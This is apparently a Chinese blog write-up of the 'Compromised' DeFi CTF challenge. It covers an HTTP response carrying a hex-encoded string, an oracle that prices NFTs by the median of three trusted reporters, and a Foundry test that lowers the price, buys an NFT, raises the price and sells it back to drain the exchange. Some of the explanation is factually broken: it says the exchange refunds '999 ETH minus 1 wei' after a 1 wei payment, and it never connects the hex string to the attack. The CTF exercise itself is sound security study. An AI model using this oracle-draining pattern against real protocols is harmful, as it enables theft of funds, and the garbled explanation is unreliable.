Skip to content
On this page

揭秘“Compromised”:一次 DeFi 安全的深度探索

在瞬息万变的 DeFi 世界里,安全始终是发展的基石。今天,我们将带你走进一个充满挑战的 CTF 题目——“Compromised”,深入剖析一次对去中心化金融服务的一次“妥协”。

场景回顾:一丝异常的蛛丝马迹

故事的开端,源于我们对一个主流 DeFi 项目网页端的一次“闲逛”。服务器的回应,虽然表面上是标准的 HTTP/2 200 OK,却在 content-typecontent-language 等信息之外,隐藏了一串看似杂乱的十六进制编码。这串编码,就像是数字世界里的暗语,预示着背后隐藏的秘密。

4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30

而与此同时,一个与链上交易所相关的“DVNFT”收藏品,正以令人咋舌的 999 ETH 天价出售。这个价格,是通过一个依赖三位“受信任”记者(reporter)的链上预言机(oracle)获取的。

挑战核心:玩转预言机,重塑价值

我们的任务,就是利用我们仅有的 0.1 ETH,在这个“Compromised”的场景中,通过操纵链上预言机,夺回交易所中所有的 ETH,并将其安全地转移到指定的恢复账户。

深入代码:预言机与交易所的秘密

为了攻破这个难题,我们需要深入分析提供的代码:

  • TrustfulOracleInitializer.sol & TrustfulOracle.sol: 这两份合约共同构建了预言机系统。TrustfulOracle 记录了各方提供的价格,并通过中位数(median)来计算最终价格。值得注意的是,TrustfulOracle 允许三个指定的地址(sources)在初始时被授予 TRUSTED_SOURCE_ROLE,而 TrustfulOracleInitializer 的部署者则拥有 INITIALIZER_ROLE。关键在于,postPrice 函数允许任何拥有 TRUSTED_SOURCE_ROLE 的地址来更新指定代币的价格。
  • Exchange.sol: 这个合约是核心交易场所,负责买卖 DVNFT。它依赖 TrustfulOracle 获取 DVNFT 的价格,并在买入时接收 ETH,卖出时支付 ETH。buyOne 函数允许用户支付 ETH 购买 NFT,但如果支付的 ETH 超过了 NFT 的实际价格,剩余的 ETH 会被退还。sellOne 函数则允许用户卖出 NFT,并从交易所获得 ETH。

攻击思路:打破信任,制造价格错觉

TrustfulOracle 的核心机制在于中位数价格。如果我们可以控制其中一部分“受信任的记者”,并让他们报告一个极低的价格,那么整个预言机的中位数价格就会大幅下降。

  1. 首次降价: 我们首先利用其中一到两个受信任的记者,将 DVNFT 的价格大幅调低,比如降到 1 wei。
  2. 低价购入: 此时,我们就可以以极低的成本(1 wei)从交易所购买一个 DVNFT。由于交易所的 buyOne 函数会将超过实际价格的 ETH 退还,我们支付 1 wei,然后交易所会将我们支付的 999 ETH 减去 1 wei 后退还给我们。这样,我们就以几乎免费的价格获得了一个 NFT,并且交易所的 ETH 余额大幅减少。
  3. 二次操纵: 此时,交易所的 ETH 余额显著减少,但价格仍然是通过 TrustfulOracle 计算出来的。我们可以再次利用受信任的记者,将 DVNFT 的价格设置为交易所当前的 ETH 余额。
  4. 高价卖出: 拥有了 NFT 的我们,现在可以以几乎等同于交易所当前 ETH 余额的价格(虽然实际数字可能很大,但因为是“高价”,从交易所这里看,这笔交易是合理的)将 NFT “卖回”给交易所。交易所会支付给我们这笔巨额 ETH。
  5. 资金归集: 此时,交易所的 ETH 已经几乎被我们转移走。最后一步,我们将获取到的 ETH 发送到指定的 recovery 地址。
  6. 恢复秩序(可选): 为了让整个过程看起来更“干净”,我们可以最后将预言机的价格恢复到初始的 999 ETH,让挑战的验证条件能够通过。

代码实现:CTF 答案解析

CTF 题目提供的答案,正是以上思路的完美体现:

solidity
function test_compromised() public checkSolved {
    // 1. 首次降价:利用两个受信任的记者将价格设为 1
    vm.prank(sources[0]);
    oracle.postPrice("DVNFT", 1);
    vm.prank(sources[1]);
    oracle.postPrice("DVNFT", 1);

    // 2. 低价购入:以 1 wei 购买 NFT
    vm.startPrank(player);
    uint256 tokenId = exchange.buyOne{value: 1 wei}();
    vm.stopPrank();

    // 3. 二次操纵:将价格设置为交易所剩余的 ETH 余额
    uint256 exchangeBal = address(exchange).balance;
    vm.prank(sources[0]);
    oracle.postPrice("DVNFT", exchangeBal);
    vm.prank(sources[1]);
    oracle.postPrice("DVNFT", exchangeBal);

    // 4. 高价卖出:将 NFT 卖回给交易所,获取所有 ETH
    vm.startPrank(player);
    nft.approve(address(exchange), tokenId); // 授权交易所转移 NFT
    exchange.sellOne(tokenId);

    // 5. 资金归集:将获取的 ETH 发送到恢复账户
    uint256 value = address(player).balance - 1e17; // 留一点 gas
    (bool success, ) = payable(recovery).call{value: value}("");
    require(success, "Fail to send recovery");
    vm.stopPrank();

    // 6. 恢复秩序:将预言机价格恢复到初始值
    vm.prank(sources[0]);
    oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
    vm.prank(sources[1]);
    oracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
}

安全启示:预言机的“信任”并非绝对

“Compromised” 挑战为我们敲响了警钟。它生动地展示了,即使是看似“受信任”的链上预言机,如果其设计存在漏洞(例如,容易被操纵的源头),也可能成为攻击者的突破口。在 DeFi 生态系统中,理解和审计预言机机制至关重要,任何对外部数据的依赖,都可能成为潜在的攻击向量。

通过这次“Compromised”的探索,我们不仅解决了一个棘手的 CTF 题目,更对 DeFi 安全的复杂性和重要性有了更深刻的认识。希望这篇文章能让你对 DeFi 安全领域产生更浓厚的兴趣!

Built with AiAda